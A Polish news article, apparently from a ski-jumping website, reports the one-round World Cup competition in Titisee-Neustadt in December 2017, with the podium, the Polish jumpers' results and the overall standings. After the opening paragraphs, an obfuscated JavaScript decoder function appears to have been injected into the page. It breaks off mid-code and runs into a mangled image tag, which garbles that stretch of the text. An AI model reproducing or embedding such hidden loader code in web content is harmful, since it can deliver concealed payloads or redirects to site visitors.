PŚ Titisee-Neustadt: Freitag wygrywa wietrzną loterię, Stoch szósty!

Po kilkugodzinnym oczekiwaniu skoczkowie zdołali nareszcie zmierzyć się na Hochfirstschanze w niemieckim Titisee-Neustadt. Niekorzystne warunki atmosferyczne umożliwiły na rozegranie tylko jednej serii konkursowej. W mocno loteryjnym konkursie zwycięstwo wywalczył Niemiec Richard Freitag. Najwyżej sklasyfikowanym Polakiem był Kamil Stoch.

W Szwarcwaldzie panowały dziś wyjątkowo kapryśne warunki atmosferyczne, mocnym podmuchom wiatru towarzyszyły opady deszczu ze śniegiem, które w dużym stopniu pokrzyżowały plany organizatorów na sprawne przeprowadzenie zmagań. Najpierw odwołana została zaplanowana na godzinę 14:30 seria próbna, a później kilkukrotnie zmieniana była godzina rozpoczęcia zawodów. Ostatecznie po 1,5-godzinnym oczekiwaniu udało się rozegrać jednoseryjne zmagania. Zawodnicy mieli więc w głowie fakt, że mają przed sobą tylko i wyłącznie jedną szansę.

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ande (fot. Ilia Khamov)” src=”http://www.skokipolska.pl/wp-content/uploads/2017/12/Daniel-Andre-Tande_Nizny.Tagil_.2017_fot.Ilia_.Khamov-300x200.jpg" alt="Daniel Andre Tande (fot. Ilia Khamov)" width="300" height="200" /> Daniel Andre Tande (fot. Ilia Khamov)

Najlepiej w całej stawce poradził sobie lider klasyfikacji generalnej Pucharu Świata, Richard Freitag, który przy minimalnym wietrze pod narty (0,1 m/s) poszybował aż 145 metrów, czyli zaledwie o 3 metry bliżej od rekordu Hochfirstschanze należącego do Słoweńca Domena Prevca. 26-letni Niemiec nie ryzykował lądowania telemarkiem, jednak znakomita odległość pozwoliła mu na odniesienie drugiego zwycięstwa w tym sezonie i jednocześnie siódmego w dotychczasowej karierze.

Świetną niemiecką passę miejsc na podium podtrzymał też zwycięzca z Niżnego Tagilu, Andreas Wellinger. Dzisiaj skacząc w podobnych warunkach do triumfatora, w dobrym stylu osiągnął 139,5 metra, co pozwoliło mu na zajęcie drugiej pozycji. To już 21. pucharowe podium 22-letniego skoczka z Weissbach. Podium uzupełnił dziś przedstawiciel kolejnej świetnie dysponowanej na początku zimy nacji, Norweg Daniel Andre Tande (135,5 m), który jako jedyny z czołowej trójki musiał sobie radzić z wiatrem w plecy (-0,31 m/s). Dla 23-letniego podopiecznego trenera Alexandra Stoeckla to już 12. podium PŚ w karierze.

Tuż za podium loteryjnych zmagań w Titisee-Neustadt wylądował niespodziewany triumfator inauguracyjnego konkursu w Wiśle, Japończyk Junshiro Kobayashi (137,5 m), a na piątej pozycji wylądował kolejny z reprezentantów Kraju Wikingów, Robert Johansson (130,5 m). Czołową szóstkę uzupełnił niekwestionowany lider polskiej drużyny, Kamil Stoch, który w niekorzystnych warunkach wietrznych uzyskał 130,5 metra. Na uwagę zasługuje świetny występ 18-letniego Niemca Constantina Schmida, który otwierając konkurs w plastronie z pierwszym numerem startowych poszybował 133 metry co dało mu ostatecznie 8. miejsce, a tym samym pierwsze punkty PŚ w karierze.

Kolejni z biało-czerwonych lądowali w drugiej dziesiątce stawki - Dawid Kubacki był 11. (127,5 m), Stefan Hula 13. (124,0 m), a Piotr Żyła 19. (128,0 m). Po raz czwarty w karierze i jednocześnie trzeci w tym sezonie, po jeden pucharowy punkt za zajęcie 30. miejsca sięgnął Jakub Wolny (109,5 m).

O sporym pechu może mówić Maciej Kot, który oddał skok na odległość 118,5 metra, jednak tuż po wylądowaniu zaliczył nieprzyjemnie wyglądający upadek. Jego powodem było zakantowanie jednej z nart, która natrafiła na wbitą w zeskok choinkę wyznaczającą linię punktu konstrukcyjnego. Podopieczny trenera Horngachera zakończył swoją próbę na plecach, jednak po chwili podniósł się i o własnych siłach opuścił zeskok, sygnalizując, że nic poważnego mu się stało. Kot zakończył zmagania na 32. pozycji. To pierwszy przypadek od 17 marca 2016 roku, kiedy 26-latek kończy konkurs poza punktowaną "30".

Dodajmy, że z bardzo zmiennymi warunkami atmosferycznymi nie poradziło sobie kilku renomowanych skoczków - 45. był Fin Janne Ahonen, 47. Czech Roman Koudelka, a 48. Norweg Anders Fannemel. W pucharowym debiucie na 50. pozycji uplasował się 18-letni Estończyk Artti Aigro.

Po triumfie w Titisee-Neustadt na prowadzeniu w klasyfikacji generalnej Pucharu Świata 2017/2018 umocnił się Richard Freitag (370 pkt), drugie miejsce zajmuje Andreas Wellinger (319 pkt), a trzecie Daniel Andre Tande (280 pkt). Najwyżej sklasyfikowanym Polakiem nadal jest Kamil Stoch, który zajmuje 6. miejsce z dorobkiem 183 punktów. Dawid Kubacki jest 11. (118 pkt), Piotr Żyła 13. (113 pkt), Stefan Hula i Maciej Kot współdzielą 16. lokatę (70 pkt), a Jakub Wolny jest 38. (8 pkt).

Pełna indywidualna klasyfikacja PŚ >>>

Na czele Pucharu Narodów wciąż plasują się Niemcy, którzy uzbierali 2035 punktów. Drugie miejsce zajmują Norwegowie (1945 pkt), a trzecie Polacy (1412 pkt).

Pełna klasyfikacja PN >>>

Another double win! Simply amazing to be on top of the podium again today Thanks for the great atmosphere here! #win #1stplace #yellowbib #viessmann #nudossi pic.twitter.com/XTmCy32JCJ

— Richard Freitag (@Richard_Freitag) 10 grudnia 2017

Wyniki jednoseryjnego konkursu:

informacja własna